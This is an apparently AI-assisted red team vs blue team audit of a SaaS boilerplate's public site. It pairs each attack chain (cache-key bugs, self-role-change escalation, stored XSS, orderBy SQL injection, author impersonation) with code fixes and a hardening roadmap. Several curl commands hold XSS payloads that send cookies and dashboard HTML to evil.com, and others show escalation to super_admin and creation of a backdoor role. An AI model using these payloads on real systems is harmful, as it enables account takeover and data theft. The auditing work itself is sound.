Red Team vs Blue Team -- Landing Page & Public Site Attack Scenarios¶
Date: 2026-02-25
Scope: 45 issues from docs/deep-dive-landing-page-public-site.md plus cross-module vulnerabilities from auth, RBAC, and email template deep-dives
Method: Adversarial dialogue between Red Team (attacker) and Blue Team (defender)
Attack Chain 1: "Cache Poisoner" -- Mass Content Corruption via unstable_cache¶
RED TEAM¶
Entry Point: Any of the 5 unstable_cache functions in Sass-boilerplate-frontend-v1/src/api/public/
Vulnerability: All 5 functions use static cache keys that ignore function parameters. Once any call populates the cache, ALL subsequent calls with different parameters return the same stale result for the entire revalidate window (default: 1 hour).
Attack Steps:
- Trigger cache priming for navigation:
- Visit any page. The SSR calls
getNavigationLinks("navbar")-- this populates the cache with key["navigation-links"]. - File:
Sass-boilerplate-frontend-v1/src/api/public/navigation-links.js:3-31 - Backend call:
GET /api/v1/public/menus?type=navbar -
Result cached under key
["navigation-links"]. -
Poison the footer:
- Footer component calls
getNavigationLinks("footer"). - Since the cache key is
["navigation-links"](notypeparameter), it returns the navbar links. - File:
Sass-boilerplate-frontend-v1/src/api/public/navigation-links.js:25--["navigation-links"]is the entire key. -
Impact: Footer shows navbar links for 1 hour. Footer-only links (terms, privacy, contact) disappear.
-
Poison blog pagination:
- Visit
GET /blogs?page=1-- SSR callsgetBlogs({page: 1, limit: 10}). - Cache key:
["blogs"](no page/limit/author/category parameters). - File:
Sass-boilerplate-frontend-v1/src/api/public/blogs.js:33--["blogs"]. - Now visit
GET /blogs?page=2-- returns page 1 content. - Visit
GET /blogs?category=technology-- returns page 1 of all blogs. - Visit
GET /blogs?author=John-- returns page 1 of all blogs. -
Impact: Blog pagination, filtering by category, and filtering by author are all completely broken. Every query returns the first cached result.
-
Poison blog detail pages:
- Visit
GET /blogs/first-blog-slug-- SSR callsgetBlogDetails("first-blog-slug"). - Cache key:
["blog-details"](no slug parameter). - File:
Sass-boilerplate-frontend-v1/src/api/public/blogs.js:63--["blog-details"]. - Now visit
GET /blogs/second-blog-slug-- returns first blog's content. -
Impact: EVERY blog detail page shows the same blog for 1 hour.
-
Poison dynamic pages:
- Visit
GET /about-- SSR callsgetDynamicPage("about"). - Cache key:
["dynamic-page"](no slug parameter). - File:
Sass-boilerplate-frontend-v1/src/api/public/dynamic-page.js:25--["dynamic-page"]. - Now visit
GET /terms-- returns "About" page content. - Visit
GET /privacy-- returns "About" page content. -
Impact: All dynamic pages show identical content. Terms of Service and Privacy Policy pages show About Us content.
-
Poison settings:
- Root layout calls
getSettingByGroup("admin"). - Cache key:
["settings-group"](no group parameter). - File:
Sass-boilerplate-frontend-v1/src/api/public/settings.js:32--["settings-group"]. - If contact page calls
getSettingByGroup("contact"), it returns admin settings. - Impact: Contact page shows admin metadata instead of contact info.
Difficulty: ⅕ (happens automatically, no attacker action needed) Impact: ⅘ (complete public site content corruption; SEO impact; legal risk if Terms/Privacy show wrong content) Likelihood: 5/5 (guaranteed to happen as soon as multiple parameter variants are requested)
Key Insight: This is not an attack that requires malicious intent. It is a guaranteed bug that corrupts the entire public site for every visitor. The attacker is "the first visitor."
BLUE TEAM¶
Defense: Include all parameters in cache keys.
Every unstable_cache call must include the full parameter fingerprint in its key array.
Fix for getBlogs (blogs.js):
// BEFORE (broken):
export const getBlogs = unstable_cache(
async (params = {}) => { /* ... */ },
["blogs"], // <-- static key, ignores params
{ revalidate: /* ... */, tags: ["blogs"] }
);
// AFTER (fixed):
export const getBlogs = unstable_cache(
async (params = {}) => { /* ... */ },
["blogs", JSON.stringify(params)], // <-- params encoded in key
{ revalidate: /* ... */, tags: ["blogs"] }
);
Fix for getBlogDetails (blogs.js):
Fix for getDynamicPage (dynamic-page.js):
Fix for getSettingByGroup (settings.js):
Fix for getNavigationLinks (navigation-links.js):
Time to implement: 15 minutes (5 files, 1-line change each) Risk mitigated: Blocks entire Attack Chain 1. Fixes C1-C5 (5 Critical issues).
Attack Chain 2: "The Dynamic Page XSS Worm" -- Stored XSS to Admin Account Takeover¶
RED TEAM¶
Entry Point: Dynamic page creation/update via POST /api/v1/pages or PATCH /api/v1/pages/:id
Vulnerability Chain:
1. C7: Dynamic page description field has ZERO sanitization on both backend create (generic-page.service.ts:144-154) and frontend render (dynamic-page.jsx:20).
2. Self-role-change via PATCH /api/v1/users/profile (user.service.ts:533: user.roleId = payload.role || user.roleId).
3. createRole has NO permission check (role.service.ts:150: commented out checkPermissionAndThrow).
Attack Steps:
-
Attacker registers a normal user account on the SaaS platform.
-
Attacker escalates to admin via self-role-change:
# Step 2a: List existing roles to find admin role ID # (role routes require auth + contextMiddleware but NO permission check on GET /) curl -X GET https://target.com/api/v1/roles \ -H "Authorization: Bearer <user_jwt>" # Response includes: { id: 1, name: "super_admin" }, { id: 2, name: "admin" } # Step 2b: Change own role to admin curl -X PATCH https://target.com/api/v1/users/profile \ -H "Authorization: Bearer <user_jwt>" \ -H "Content-Type: application/json" \ -d '{"role": 2}' - File:
saas-boilerplate/src/app/modules/v1/User/user.service.ts:533 user.roleId = payload.role || user.roleId;-- accepts any role ID.-
Validation at
user.validation.ts:19-24explicitly allowsrole: z.number()in the update schema. -
Attacker creates a malicious dynamic page:
curl -X POST https://target.com/api/v1/pages \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{ "title": "Terms of Service", "description": "<div>Our terms...<img src=x onerror=\"fetch(`https://evil.com/steal?c=`+document.cookie)\"><script>document.addEventListener(\"DOMContentLoaded\",function(){var f=document.createElement(\"iframe\");f.style.display=\"none\";f.src=\"/dashboard\";document.body.appendChild(f);f.onload=function(){fetch(\"https://evil.com/exfil\",{method:\"POST\",body:JSON.stringify({html:f.contentDocument.body.innerHTML,cookies:document.cookie})})}})</script></div>", "status": "published", "slug": "terms" }' - File:
saas-boilerplate/src/app/modules/v1/GenericPage/generic-page.service.ts:144-154 createPagedoes NOT sanitizedata.description. Raw HTML stored directly.-
The
Object.assign(page, data)inupdatePage(line 183) also has no sanitization. -
Every visitor to
/termstriggers the XSS: - File:
Sass-boilerplate-frontend-v1/src/components/pages/dynamic-page/dynamic-page.jsx:20 dangerouslySetInnerHTML={{ __html: data?.description }}-- renders raw HTML.-
The
<script>tag andonerrorhandler both execute. -
Payload steals cookies from any authenticated admin visiting the page:
- JWT token stored in non-httpOnly cookie (known issue from project memory).
- The
onerroron the<img>tag sendsdocument.cookieto attacker's server. -
The
<script>creates a hidden iframe to/dashboard, reads its content, and exfiltrates it. -
Cache amplifies the blast radius:
- Due to C5 (
unstable_cachekey bug on dynamic pages), if the attacker's page is fetched first, ALL dynamic page routes (/about,/privacy, etc.) serve the malicious Terms page for 1 hour.
Difficulty: ⅖ (self-role-change is trivial; page creation requires basic auth) Impact: 5/5 (stored XSS on public pages; admin cookie theft; full account takeover) Likelihood: ⅘ (any registered user can execute this chain)
BLUE TEAM¶
Defense Layer 1: Block self-role-change (P0)
// File: saas-boilerplate/src/app/modules/v1/User/user.service.ts
// Line 533 -- REMOVE the role assignment:
// BEFORE:
user.roleId = payload.role || user.roleId;
// AFTER:
// user.roleId is NEVER updated from profile endpoint.
// Role changes only via admin PATCH /users/:id with permission check.
Also strip role from the validation schema for profile updates:
// File: saas-boilerplate/src/app/modules/v1/User/user.validation.ts
// Create a separate profileUpdateValidation that excludes role:
const profileUpdateValidation = z.object({
body: z.object({
name: z.string().optional(),
email: z.string().email().optional(),
phone: z.string().optional(),
address: z.string().optional(),
oldPassword: z.string().min(6).optional(),
newPassword: z.string().min(6).optional(),
// NO role, NO userRoles, NO status
}),
});
Defense Layer 2: Sanitize dynamic page HTML (P0)
// File: saas-boilerplate/src/app/modules/v1/GenericPage/generic-page.service.ts
import { SanitizerFactory } from "../../../factories/sanitizer/sanitizer.factory";
const createPage = async (data: IGenericPageService) => {
await checkPermissionAndThrow("page.create");
const pageRepo = getDbRepository(GenericPage);
// Sanitize HTML content
const sanitizer = SanitizerFactory("dompurify");
if (data.description) {
data.description = sanitizer.sanitize(data.description);
}
const newPage = pageRepo.create(data);
// ...
};
const updatePage = async (id: number, data: Partial<IGenericPageService>) => {
// ...
if (data.description) {
const sanitizer = SanitizerFactory("dompurify");
data.description = sanitizer.sanitize(data.description);
}
Object.assign(page, data);
// ...
};
Defense Layer 3: Frontend defense-in-depth (fallback)
// File: Sass-boilerplate-frontend-v1/src/components/pages/dynamic-page/dynamic-page.jsx
import DOMPurify from "isomorphic-dompurify";
// Line 20:
dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(data?.description || "") }}
Defense Layer 4: Set cookies to httpOnly This prevents JavaScript from accessing the JWT token even if XSS executes.
Time to implement: 1 hour total (role-change fix: 15 min; sanitization: 30 min; cookie fix: 15 min) Risk mitigated: Blocks entire Attack Chain 2. Fixes C7, plus the cross-module privilege escalation.
Attack Chain 3: "Blog Content Injection" -- XSS via Blog Sanitizer Bypass + Cache Amplification¶
RED TEAM¶
Entry Point: Blog content via POST /api/v1/blogs or PATCH /api/v1/blogs/:id
Vulnerability Chain:
1. The backend blog sanitizer (dompurify.sanitizer.ts) allows data: scheme on <img> tags (line 24: allowedSchemesByTag: { img: ['http', 'https', 'data'] }).
2. It allows class and id attributes on ALL elements (line 20: '*': ['class', 'id']).
3. The sanitize-html library (NOT DOMPurify despite the class name) with these settings may allow CSS-based exfiltration and phishing.
4. Blog content rendered via dangerouslySetInnerHTML at blog-page-frontend.jsx:94.
5. Public getBlogByIdOrSlug (public.service.ts:163-237) has NO status filter, serving draft blogs.
Attack Steps:
-
Attacker escalates to a role with blog creation (via Attack Chain 2's self-role-change, or if
blog.createpermission check is commented out -- which it is atblog.service.ts:352-355). -
Attacker crafts a blog with CSS exfiltration payload:
curl -X POST https://target.com/api/v1/blogs \ -H "Authorization: Bearer <user_jwt>" \ -H "Content-Type: application/json" \ -d '{ "title": "Legitimate Looking Blog Post", "content": "<div class=\"blog-content\"><p>Normal content here.</p><a href=\"https://evil.com/phishing-login\" target=\"_blank\" rel=\"noopener\">Click here to continue reading (login required)</a><img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" id=\"tracker\" class=\"hidden\"></div>", "slug": "legitimate-looking-post", "status": "published", "categories": [1] }' - The sanitizer allows
<a href>withtarget,<img src="data:...">, andclass/idattributes. -
While
<script>tags are stripped, the attacker can still do:- Phishing links that look like part of the blog
- Data URI images for tracking pixels
- CSS injection via
classattributes that match existing styles
-
Draft blog accessible publicly:
- Even if the blog is set to
draftstatus, the public endpointGET /api/v1/public/blogs/:slugserves it. - File:
saas-boilerplate/src/app/modules/v1/Public/public.service.ts:163-237 - The
getBlogByIdOrSlugquery at line 173 is:where: whereConditionwith only id/slug. - No
status: "published"filter. -
Impact: Unpublished content with internal/test data leaks to public.
-
Cache amplifies phishing:
- Due to C2 (
unstable_cachekey bug on blog details), the malicious blog is cached under key["blog-details"]. - EVERY blog detail page now shows the phishing blog for 1 hour.
- All visitors to any blog URL see the phishing content.
Difficulty: ⅖ (blog.create has no permission check; sanitizer allows links) Impact: ⅘ (phishing at scale via cache; draft content leak; data URI tracking) Likelihood: ⅘ (the permission check is literally commented out)
BLUE TEAM¶
Defense Layer 1: Add status filter to public blog detail endpoint (P0)
// File: saas-boilerplate/src/app/modules/v1/Public/public.service.ts
// Line 173 -- add status filter:
const blog = await blogRepository.findOne({
where: { ...whereCondition, status: "published" }, // <-- ADD THIS
relations: ["categories", "tags", "author"],
});
Defense Layer 2: Tighten sanitizer configuration
// File: saas-boilerplate/src/app/infrastructure/sanitizer/dompurify.sanitizer.ts
allowedSchemesByTag: {
img: ['http', 'https'] // REMOVE 'data' scheme
},
allowedAttributes: {
a: ['href', 'target', 'rel'],
img: ['src', 'alt', 'title', 'width', 'height'],
// REMOVE '*': ['class', 'id'] -- too permissive
div: ['class'],
span: ['class'],
pre: ['class'],
code: ['class'],
},
// Force rel="noopener noreferrer" on all links:
transformTags: {
'a': sanitizeHtml.simpleTransform('a', { rel: 'noopener noreferrer' })
}
Defense Layer 3: Re-enable blog.create permission check
// File: saas-boilerplate/src/app/modules/v1/Blog/blog.service.ts
// Line 352-355 -- UNCOMMENT:
await checkPermissionAndThrow(
"blog.create",
"You do not have permission to create a blog"
);
Time to implement: 30 minutes Risk mitigated: Blocks draft content leak (H4), restricts phishing surface, restores permission control on blog creation.
Attack Chain 4: "SQL Injection Pivot" -- From Public Blog Listing to Database Dump¶
RED TEAM¶
Entry Point: Public blog listing at GET /api/v1/public/blogs?orderBy=PAYLOAD
Vulnerability Chain:
1. getSortQuery() in saas-boilerplate/src/shared/getSortQuery.ts accepts any string as orderBy (validates only typeof === "string", not against an allowlist).
2. BaseQueryBuilder.build() at saas-boilerplate/src/app/builder/QueryBuilder.ts:194-198 passes the field directly to TypeORM's qb.orderBy().
3. TypeORM's orderBy does NOT parameterize column names (they cannot be parameterized in SQL).
4. The public blog endpoint at public.service.ts:68-108 feeds getSortQuery(query) directly to the builder.
Attack Steps:
-
Probe for SQL injection:
GET /api/v1/public/blogs?orderBy=createdAt&order=DESC # Works normally GET /api/v1/public/blogs?orderBy=1&order=DESC # If column-based injection works, returns blogs sorted by first column GET /api/v1/public/blogs?orderBy=CASE+WHEN+1=1+THEN+createdAt+ELSE+title+END&order=DESC # If this returns differently sorted results than CASE WHEN 1=2... # then boolean-based blind SQL injection is confirmed -
Extract database version (blind, boolean-based):
-
If sorted by
createdAt, the first character ofversion()is 'P' (PostgreSQL). -
Extract user table data:
- Extracts password hashes character by character.
-
Also works for email, role, and other sensitive columns.
-
Alternative: time-based blind injection (if boolean-based fails):
-
Cross-reference with email template module:
- The email template module at
email_template.service.ts:57-60has the SAME vulnerability: - But this requires authentication. The public blog endpoint does NOT require auth.
Difficulty: ⅗ (requires SQL injection knowledge; blind extraction is slow but reliable) Impact: 5/5 (full database read access including password hashes, emails, payment data) Likelihood: ⅗ (requires technical skill but the endpoint is completely unauthenticated)
BLUE TEAM¶
Defense Layer 1: Allowlist sort fields (P0)
// File: saas-boilerplate/src/shared/getSortQuery.ts
const ALLOWED_SORT_FIELDS = [
"createdAt", "updatedAt", "title", "publishedAt", "status", "name", "email"
];
export function getSortQuery(query: Record<string, unknown>): {
field: string;
order: "ASC" | "DESC";
} {
if (!query.orderBy && !query.order) {
return { field: "createdAt", order: "DESC" };
}
if (!query.order) {
query.order = "DESC";
}
if (!["ASC", "DESC"].includes(String(query.order).toUpperCase())) {
throw new ApiError(httpStatus.BAD_REQUEST, "Invalid sort order");
}
if (!query.orderBy || typeof query.orderBy !== "string") {
throw new ApiError(httpStatus.BAD_REQUEST, "Invalid sort field");
}
// ALLOWLIST CHECK:
if (!ALLOWED_SORT_FIELDS.includes(query.orderBy)) {
throw new ApiError(httpStatus.BAD_REQUEST, "Invalid sort field");
}
return {
field: query.orderBy,
order: String(query.order).toUpperCase() as "ASC" | "DESC",
};
}
Defense Layer 2: Fix email template orderBy too
// File: saas-boilerplate/src/app/modules/v1/EmailTemplate/email_template.service.ts
const ALLOWED_TEMPLATE_SORT_FIELDS = ["createdAt", "updatedAt", "title", "type", "subject"];
if (query.order && query.orderBy) {
if (!ALLOWED_TEMPLATE_SORT_FIELDS.includes(query.orderBy as string)) {
throw new ApiError(httpStatus.BAD_REQUEST, "Invalid sort field");
}
const order = query.order === "asc" ? "ASC" : "DESC";
const orderByField = `template.${query.orderBy}`;
queryBuilder.orderBy(orderByField, order);
}
Defense Layer 3: Parameterize where possible in QueryBuilder
Add a static allowlist per entity in the BaseQueryBuilder:
// In QueryBuilder.ts build() method, before line 194:
if (sort?.field) {
// Validate field exists on the entity
const entityColumns = this.repo.metadata.columns.map(c => c.propertyName);
if (!sort.field.includes(".") && !entityColumns.includes(sort.field)) {
throw new Error(`Invalid sort field: ${sort.field}`);
}
const sortField = sort.field.includes(".")
? sort.field
: `${this.alias}.${sort.field}`;
qb.orderBy(sortField, sort.order);
}
Time to implement: 30 minutes Risk mitigated: Blocks entire Attack Chain 4. Fixes C1 from email template deep-dive. Prevents SQL injection on ALL sortable endpoints.
Attack Chain 5: "Full Platform Takeover" -- Combining All Vulnerabilities¶
RED TEAM¶
Entry Point: User registration (public, unauthenticated)
This is the "kill chain" -- the full-scope attack combining vulnerabilities from the landing page deep-dive, RBAC deep-dive, and email template deep-dive into a single devastating sequence.
Attack Steps:
-
Register a normal user account:
curl -X POST https://target.com/api/v1/auth/register \ -H "Content-Type: application/json" \ -d '{"name": "Eve", "email": "[email protected]", "password": "password123"}' -
Escalate to super_admin via self-role-change:
# Get role list (no permission check on GET /roles) curl -X GET https://target.com/api/v1/roles \ -H "Authorization: Bearer <eve_jwt>" # Find super_admin role ID (typically id: 1) # Change own role to super_admin curl -X PATCH https://target.com/api/v1/users/profile \ -H "Authorization: Bearer <eve_jwt>" \ -H "Content-Type: application/json" \ -d '{"role": 1}' - File:
user.service.ts:533--user.roleId = payload.role || user.roleId; -
File:
user.validation.ts:19-24-- allowsrolein update schema. -
Extract all user data via SQL injection (no auth needed):
- Confirm user table exists, then extract emails and password hashes.
- File:
getSortQuery.ts-- no allowlist. -
File:
QueryBuilder.ts:194-198-- unsanitizedorderBy. -
Inject stored XSS into all dynamic pages:
# Create malicious Terms page (no sanitization on description) curl -X POST https://target.com/api/v1/pages \ -H "Authorization: Bearer <superadmin_jwt>" \ -H "Content-Type: application/json" \ -d '{ "title": "Terms of Service", "description": "<script>new Image().src=\"https://evil.com/c?\"+document.cookie;</script><div>Our terms of service...</div>", "status": "published", "slug": "terms" }' - File:
generic-page.service.ts:144-154-- no sanitization ondescription. -
File:
dynamic-page.jsx:20--dangerouslySetInnerHTML={{ __html: data?.description }}. -
Cache bug amplifies XSS to ALL dynamic pages:
- Attacker visits
/termsfirst, priming cache under key["dynamic-page"]. - Now
/about,/privacy,/refund-policyALL serve the Terms XSS payload. - File:
dynamic-page.js:25--["dynamic-page"]is the static cache key. -
Duration: entire
revalidatewindow (1 hour default). -
Harvest admin credentials:
- Any admin visiting ANY dynamic page has their JWT cookie stolen.
- Attacker uses stolen JWT to access admin dashboard.
-
All dashboard operations now available: user management, payment data, blog control.
-
Create persistent backdoor role:
# createRole has no permission check (commented out) curl -X POST https://target.com/api/v1/roles \ -H "Authorization: Bearer <superadmin_jwt>" \ -H "Content-Type: application/json" \ -d '{"roleName": "service_account", "displayName": "Service Account"}' # Grant all permissions to the new role # (grantPermissionToRole also has no permission check) - File:
role.service.ts:150--checkPermissionAndThrowcommented out. -
Even if the original attack is discovered and the Eve account is deleted, the backdoor role persists.
-
Data exfiltration via SQL injection (parallel track, no auth needed):
- While the XSS harvest runs, the attacker also uses the public blog orderBy injection to dump:
userstable (emails, hashed passwords, roles)paymentstable (Stripe customer IDs, amounts)subscriptionstable (plan details, billing info)tokenstable (refresh tokens for session hijacking)
- This happens entirely through unauthenticated GET requests.
Difficulty: ⅖ (each step is low-skill; the chain is the innovation) Impact: 5/5 (full platform takeover: all user data, payment data, persistent backdoor, mass XSS) Likelihood: ⅘ (every prerequisite vulnerability is confirmed present in code)
BLUE TEAM¶
This chain requires breaking ANY link to collapse:
| Step | Vulnerability | Fix | Time | Chains Blocked |
|---|---|---|---|---|
| 2 | Self-role-change | Remove roleId assignment from profile update |
15 min | 2, 3, 5 |
| 3 | SQL injection via orderBy | Allowlist sort fields | 30 min | 4, 5 |
| 4 | No sanitization on dynamic pages | Add SanitizerFactory call in createPage/updatePage |
20 min | 2, 5 |
| 5 | Cache key bug | Include params in cache keys | 15 min | 1, 2, 3, 5 |
| 6 | Non-httpOnly cookies | Set httpOnly: true on JWT cookie |
10 min | 2, 5 |
| 7 | createRole no permission check | Uncomment checkPermissionAndThrow |
5 min | 5 |
Attack Chain 6: "The View Count Bot" -- Blog Ranking Manipulation¶
RED TEAM¶
Entry Point: Blog view count increment, callable through the service layer.
Vulnerability: The incrementBlogViewCount function (blog.service.ts:498-512) has:
- No IP-based deduplication
- No session-based deduplication
- No rate limiting
- No CAPTCHA
- Pure viewRepo.increment({ blogId }, "count", 1) on every call
While the function is exported but not directly called by any current route (it is in the service's export at line 643), the "Top Blogs" endpoints (GET /api/v1/public/top-blogs) rank blogs by view count (public.service.ts:265-314). If/when the view count increment is wired to the blog detail page (which is the obvious intent), manipulation becomes trivial.
Additionally, the blog listing sorts by getSortQuery(query) which accepts user-controlled orderBy, so an attacker can sort by view count even from the public endpoint.
Attack Steps:
-
Script automated requests to inflate view count (once the route is wired):
-
Result: Attacker's blog appears in "Top Blogs" widget (today, week, month).
-
Combined with phishing content in blog: The attacker's phishing blog now appears prominently on the homepage.
Difficulty: ⅕ (simple loop; no auth required) Impact: ⅖ (ranking manipulation; phishing amplification) Likelihood: ⅗ (depends on view count being wired to route)
BLUE TEAM¶
Defense: Rate-limit view count by IP + time window.
const incrementBlogViewCount = async (blogId: number, ip: string) => {
const viewRepo = getDbRepository(BlogViewCount);
const cacheKey = `blog-view:${blogId}:${ip}`;
// Check if this IP already viewed this blog in last 24 hours
const alreadyViewed = await redisClient.get(cacheKey);
if (alreadyViewed) return null;
// Set flag with 24-hour TTL
await redisClient.set(cacheKey, "1", "EX", 86400);
const existing = await viewRepo.findOne({ where: { blogId } });
if (existing) {
await viewRepo.increment({ blogId }, "count", 1);
} else {
const newRecord = viewRepo.create({ blogId, count: 1 });
await viewRepo.save(newRecord);
}
};
Time to implement: 45 minutes (requires Redis or in-memory cache) Risk mitigated: Blocks view count manipulation. Fixes H3.
Attack Chain 7: "Author Identity Theft" -- Name-Based Blog Attribution Hijack¶
RED TEAM¶
Entry Point: Author pages at GET /author/:slug use string-based name matching (H5).
Vulnerability: The frontend author page at Sass-boilerplate-frontend-v1/src/app/(main-layout)/author/[slug]/page.js passes the slug to getBlogs({ author: name }), and the backend at public.service.ts:88 filters by "author.name": query.author. The author link in blog detail uses normalizeText(blog?.author?.name) (blog-page-frontend.jsx:61).
Attack Steps:
- Register with a name identical to a popular author (e.g., "John Doe").
- Create blogs as "John Doe" (blog.controller.ts:21:
authorName: req.user?.name). - Attacker's blogs appear on the real John Doe's author page because the filter is name-based, not ID-based.
- Phishing blogs on a trusted author's page significantly increases click-through rate.
Difficulty: ⅕ (just register with the same name) Impact: ⅗ (reputation damage; phishing amplification; SEO confusion) Likelihood: ⅘ (trivial to execute)
BLUE TEAM¶
Defense: Switch author pages to ID-based or username-based routing.
// File: blog-page-frontend.jsx:61
// BEFORE:
href={`/author/${normalizeText(blog?.author?.name)}`}
// AFTER:
href={`/author/${blog?.author?.id}`}
// File: public.service.ts:88
// BEFORE:
...(query.author ? { "author.name": query.author } : {}),
// AFTER:
...(query.author ? { "author.id": Number(query.author) } : {}),
Time to implement: 30 minutes Risk mitigated: Blocks author impersonation. Fixes H5.
Battle Summary¶
Most Dangerous Attack Chain¶
Attack Chain 5: "Full Platform Takeover" is the most dangerous because it:
- Starts from zero (public user registration)
- Achieves super_admin in one API call
- Exfiltrates ALL data via two parallel tracks (XSS + SQL injection)
- Creates a persistent backdoor that survives account deletion
- Affects every visitor to the public site via cache amplification
- Requires no specialized tools (just curl)
The P0 Fix: Block Self-Role-Change¶
The single fix that blocks the most attack chains is removing roleId from the profile update endpoint.
| Fix | Chains Blocked | Time |
|---|---|---|
Remove user.roleId = payload.role from updateProfile |
2, 3, 5 (partially 7) | 15 min |
Add params to unstable_cache keys |
1, amplification in 2, 3, 5 | 15 min |
Allowlist orderBy fields |
4, 5 (SQL injection track) | 30 min |
Sanitize dynamic page description |
2, 5 (XSS track) | 20 min |
The self-role-change fix is the P0 because:
- It is a single line removal (line 533 in user.service.ts)
- It blocks the privilege escalation that enables all downstream attacks
- Without admin access, the attacker cannot create malicious pages or blogs
- It takes 15 minutes to implement
Full Hardening Roadmap (Priority Order)¶
| Priority | Fix | Issues Fixed | Time | Cumulative Time |
|---|---|---|---|---|
| P0-1 | Remove roleId from profile update |
Privilege escalation | 15 min | 15 min |
| P0-2 | Allowlist orderBy in getSortQuery |
C1 (email), SQL injection | 30 min | 45 min |
| P0-3 | Include params in all 5 unstable_cache keys |
C1-C5 | 15 min | 1 hr |
| P0-4 | Sanitize description in createPage/updatePage |
C7 | 20 min | 1 hr 20 min |
| P0-5 | Add status: "published" filter in public getBlogByIdOrSlug AND getPageByIdOrSlug |
H4 | 10 min | 1 hr 30 min |
| P1-1 | Set JWT cookie to httpOnly: true |
Cookie theft via XSS | 15 min | 1 hr 45 min |
| P1-2 | Uncomment checkPermissionAndThrow in createRole |
Backdoor role creation | 5 min | 1 hr 50 min |
| P1-3 | Uncomment checkPermissionAndThrow in createBlog |
Unauthorized blog creation | 5 min | 1 hr 55 min |
| P1-4 | Tighten sanitizer (remove data: scheme, restrict class/id) |
Blog XSS surface | 15 min | 2 hr 10 min |
| P1-5 | Add frontend sanitization with isomorphic-dompurify for both blog and dynamic page |
Defense in depth | 20 min | 2 hr 30 min |
| P2-1 | Switch author pages to ID-based routing | H5 | 30 min | 3 hr |
| P2-2 | Add non-OK response handling in all fetch wrappers | H7 | 20 min | 3 hr 20 min |
| P2-3 | Fix fetchMetaData error handler to return object, not string |
H6 | 5 min | 3 hr 25 min |
| P2-4 | Add rate-limited IP-based dedup to blog view count | H3 | 45 min | 4 hr 10 min |
| P2-5 | Add href/onClick to all 7 CTA buttons |
H1 | 20 min | 4 hr 30 min |
| P2-6 | Add homepage SEO metadata | H2 | 10 min | 4 hr 40 min |
Total time to full hardening: ~4 hours 40 minutes. Time to block all critical/high attack chains: ~2 hours 30 minutes (through P1-5).
Key Architectural Observation¶
The root cause enabling the most severe attack chains is a pattern of commented-out permission checks. Across the codebase:
- blog.service.ts:352 -- createBlog permission check commented out
- blog.service.ts:404 -- updateBlog permission check commented out
- blog.service.ts:515 -- permanentlyDeleteBlog permission check commented out
- role.service.ts:150 -- createRole permission check commented out
- user.service.ts:533 -- profile update accepts role with no authorization
This suggests a development pattern where permission checks are disabled for convenience and never re-enabled. A pre-commit hook or linter rule that flags // await checkPermissionAndThrow patterns would prevent this class of vulnerability from recurring.
Generated by Red Team vs Blue Team elicitation method
Source: docs/deep-dive-landing-page-public-site.md (45 issues)
Cross-references: auth deep-dive, RBAC deep-dive, email template deep-dive, middleware deep-dive
Date: 2026-02-25